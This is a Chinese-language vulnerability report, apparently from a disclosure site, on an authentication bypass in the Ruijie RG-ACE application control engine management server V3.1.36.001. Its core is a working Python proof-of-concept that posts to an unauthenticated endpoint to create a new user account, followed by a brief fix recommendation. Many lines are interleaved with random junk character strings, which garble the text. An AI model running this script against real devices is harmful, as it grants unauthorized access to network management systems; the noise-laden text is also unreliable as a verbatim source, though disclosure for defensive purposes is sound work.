锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
5 c1 L! l! H/ d/ e( X6 k @2 c' @9 K/ m) Q/ ]/ z" d
) R- B- ~0 w( u) }
测试的具体版本是+ y8 K% C' @: L. h
产品名称: 锐捷应用控制引擎
1 a: t& N0 m8 A8 F2 @" B! `版本号: 3.1.36.001 TC
+ R8 W" Y0 h, b# v1 V! e/ ~; f( T编译时间: 201104291730
9 `+ W( f2 L+ X$ k" B3 ^# e % p8 V" U+ J- F* `1 j
1 d9 W5 k2 y* y- j漏洞证明:, I# e; W- s7 E0 ?' v& n
; D: ?/ i) ^" G3 N1 A5 z2 M9 l9 ?, W! {' J* ^
# B, N& P& K; c5 ?
7 V: O8 Y$ j9 x( f. l, C3 c* @9 _* b# q5 J3 f# X
( M4 L5 _& a7 ^" X8 k执行脚本
: w) T% }1 Y$ i8 G) z#! /usr/bin/env python/ p; I3 a7 r v% @
#coding=gbk9 }0 Q/ y: q0 m3 j' J5 d
#RG-ACE管理服务器 V3.1.36.0012 A9 x" A. t2 P' R
import urllib2, urllib,cookielib
' s+ u% _8 u/ ~) R/ hurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
. e: y* g# z, J8 N# Qopener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
$ `' x5 i: g O# Y8 X6 \" Zopener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
" @) A& x5 t0 g3 q2 r1 Vpost=(("event","userManager.doInsertUserInfo"),
. ?2 g3 e- H- @3 W3 L- r, A("useractionname","addButtonValue"),
/ L1 q6 W/ E/ X/ H% v("useropermanager","userManager"),2 r1 J0 t3 Z( @, y+ z( Q2 W L
("userName","t"), #######账号自己加. s( F; [4 C5 G: U: I- ~
("pwd","aaaaaa"),######密码自己加: M1 f m8 o# O' e- U5 O$ J4 |
("trueName","ad"),
* r6 j, f4 v( n" H9 b% d F3 X("email",""),6 c) M8 @1 `; T% X* J5 n6 j. n
("mobilePhone",""),
* z/ q0 }8 X& E9 }6 u3 \0 \% [: [6 _("officePhone",""),
! e: v3 V5 c4 H0 k3 C("addr",""),
, {* J- s9 U, a("submit","确定"))8 h2 F) M0 G2 Z* t8 l, s# {
urllib2.install_opener(opener)
) [& j* y5 }4 d* ^p=urllib2.urlopen(url, urllib.urlencode(post)).read()
' j0 M. y, b. Nprint "Done", U U9 y9 h. O. U( y
* c) y& O" X* q! f8 C登录,连接设备
, ]& c2 Z" c* j# h. [0 k1 X1 R2 w; {4 q* _) M, c4 y
9 F1 p+ V. U( U9 i* |
7 W! }3 D) ?8 D% ^. T
, R% V2 B3 P% o" Z4 \% {* o5 K
默认的管理员admin权限更大点6 n `; d5 j3 _' {' ~" f1 d- }
8 W* H! [" Z3 C- F1 U0 ]8 l# S! Z0 s6 R1 `5 R8 Y0 T
0 V' e& _4 ?: J* K$ A1 @
( N) y7 V$ Q5 O) f
+ Z" m( B9 ~: q2 u
修复方案:
/ h( {- f, ~) y; T# C9 Q加强对接口的权限验证
& [( i6 {# D0 L; e5 E5 K
0 A4 u6 j1 H! Y9 L' f$ m8 G |